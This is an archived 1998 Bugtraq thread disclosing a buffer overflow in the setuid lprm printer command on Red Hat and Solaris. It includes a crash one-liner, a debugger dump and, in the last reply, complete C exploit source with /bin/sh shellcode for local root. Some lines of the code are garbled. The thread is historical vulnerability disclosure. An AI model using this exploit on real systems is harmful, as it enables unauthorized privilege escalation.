|
Date: Sat, 18 Apr 1998 15:42:11 +0100 From: Chris Evans <chris@FERRET.LMH.OX.AC.UK> To: BUGTRAQ@NETSPACE.ORG Subject: Nasty security hole in "lprm" Hi, I've found a local->root compromise in the lprm program, as shipped RedHat4.2 and RedHat5.0. Other systems untested. There is a prerequisite to exploiting this, that a remote printer be defined (rm field). If trying to remove entries from a remote queue, the args given are basically strcat()'ed into a static buffer. Thus: lprm -Psome_remote `perl -e 'print "a" x 2000'` Segmentation fault gdb confirms the program is attempting to execute code at 0x41414141 Other potential problems include assumptions about host name max lengths, dubious /etc/printcap parsing (but it seems user defined printcap files are not allowed). There is also a blatant strcpy(buf, getenv("something")) but luckily it is #ifdef'ed out. File/filename handling looks iffy at times too. It is scary that this was found in a mere 5 mins of auditing. I sincerely beleieve the BSD line printer system has no place on a secure system. When I get more time I might well look for other problems; I would not be surprised to find some. The lpr package is in need of an audit. If the great folks at OpenBSD have already done this, maybe others should nab their source code :-) Cheers Chris Date: Mon, 20 Apr 1998 11:23:11 +0200 From: Gian Uberto Lauri <saint@dei.unipd.it> To: BUGTRAQ@NETSPACE.ORG Subject: Re: Nasty security hole in "lprm" >>>>> "CE" == Chris Evans <chris@FERRET.LMH.OX.AC.UK> writes: CE> If trying to remove entries from a remote queue, the args given CE> are basically strcat()'ed into a static buffer. CE> Thus: CE> lprm -Psome_remote `perl -e 'print "a" x 2000'` Segmentation fault CE> gdb confirms the program is attempting to execute code at CE> 0x41414141 Confirmed. Solaris 2 ffb .6 has the same problem. /usr/ucb/lprm is a symlink to /usr/bin/cancel that is setyid root /* * Please note : comandi is a file containing the command to start * cancel with the 2000 'a' passed as parameter. */ {betty} 11:09:44 [15]/tmp:adb -P"Pollo:" -I /tmp ./cancel Pollo:$<comandi Pollo:SIGSEGV: Segmentation Fault (address not mapped to object) stopped at: 0xef6fe9b8: ldsb [%o1], %o5 Pollo:$r g0 0x0 l0 0xeffff79c g1 0xef7459f4 l1 0x63940 g2 0x3f57d l2 0xef6fe93c g3 0x3e17c l3 0x0 g4 0x3e164 l4 0x80 g5 0x0 l5 0x80 g6 0x0 l6 0x7 g7 0x0 l7 0xfc09ab80 o0 0xef74fbec i0 0xef74fbec o1 0x61616161 i1 0x370ec o2 0x0 i2 0xef76227c o3 0x0 i3 0x0 o4 0xef76227c i4 0xeffff79c o5 0xef6fe954 i5 0xef7fd8b4 _end+0x878 sp 0xefffe378 fp 0xefffe3d8 o7 0xef6fe980 i7 0xef6dba68 y 0x0 psr 0x4001084 pc 0xef6fe9b8 0xef6fe9b8: ldsb [%o1], %o5 npc 0xef6fe9bc 0xef6fe9bc: ldsb [%o0], %g1 Solaris 2.5.5.1 has not the problem. Gian Uberto Lauri saint@dei.unipd.it Date: Mon, 20 Apr 1998 14:29:07 -0400 From: Seth McGann <smm@WPI.EDU> To: BUGTRAQ@NETSPACE.ORG Subject: Re: Nasty security hole in "lprm" At 15:49 4/18/98 +0100, you wrote: >Hi, > >Sorry to follow up on my own post about lprm, but... > >...yes OpenBSD fixed it long ago. > >I'll bet there are other lpr subsystem bugs they fixed too, that we should >all care about :) Here is an exploit, for demonstration purposes only... [Part 2, Application/OCTET-STREAM (Name: "lprm.c.gz") 1.2KB] [Unable to print this part] [ Part 3: "Attached Text" ] Seth M. McGann / smm@wpi.edu "Security is making it http://www.wpi.edu/~smm to the bathroom in time." KeyID: 1024/2048/177B6415 Fingerprint 5E87 5E5C 8FD9 1FFB 7836 C590 BA81 C796 177B 6415/* lprm.c * * Exploit for the bug discovered by Chris Evans in Linux lprm. * Description: /usr/bin/lprm does inadequate bounds checking * on its command line arguments. Classic overflow, though I * was unable to massage Aleph One's generic exploit enough * to make it work. Here is a modification of the source provided * in Willy Tarreau's excellent paper on linux stack smashing. * The offset will be very high for some reason, so don't be alarmed. * This was tested with Redhat 4.2. This will only work with a * remote printer defined in /etc/printcap. Remember to change * the PRINTER define accordingly. * This bug has been fixed in OpenBSD, you can rip the fix from them. * Seth McGann <smm@wpi.edu> */ #include <stdio.h> #define PRINTER "-Pwhatever" static inline getesp() { __asm__(" movl %esp,%eax "); } main(int argc, char **argv) { int i,j,buffer,offset; long unsigned esp; char unsigned buf[4096]; unsigned char shellcode[]="\x89\xe1\x31\xc0\x50\x8d\x5c\x24\xf9\x83\xc4\x0c" "\x50\x53\x89\xca\xb0\x0b\xcd\x80/bin/sh"; buffer™0; offset000; if (argc>1)buffer=atoi(argv[1]); if (argc>2)offset=atoi(argv[2]); for (i=0;i<buffer;i++) buf[i]=0x41; /* inc ecx */ j=0; for (i=buffer;i<buffer+strlen(shellcode);i++) buf[i]=shellcode[j++]; esp=getesp()+offset; buf[i]=esp & 0xFF; buf[i+1]=(esp >> 8) & 0xFF; buf[i+2]=(esp >> 16) & 0xFF; buf[i+3]=(esp >> 24) & 0xFF; buf[i+4]=esp & 0xFF; buf[i+5]=(esp >> 8) & 0xFF; buf[i+6]=(esp >> 16) & 0xFF; buf[i+7]=(esp >> 24) & 0xFF; printf("Offset: 0x%x\n\n",esp); 552 execl("/usr/bin/lprm","lprm",PRINTER,buf,NULL); }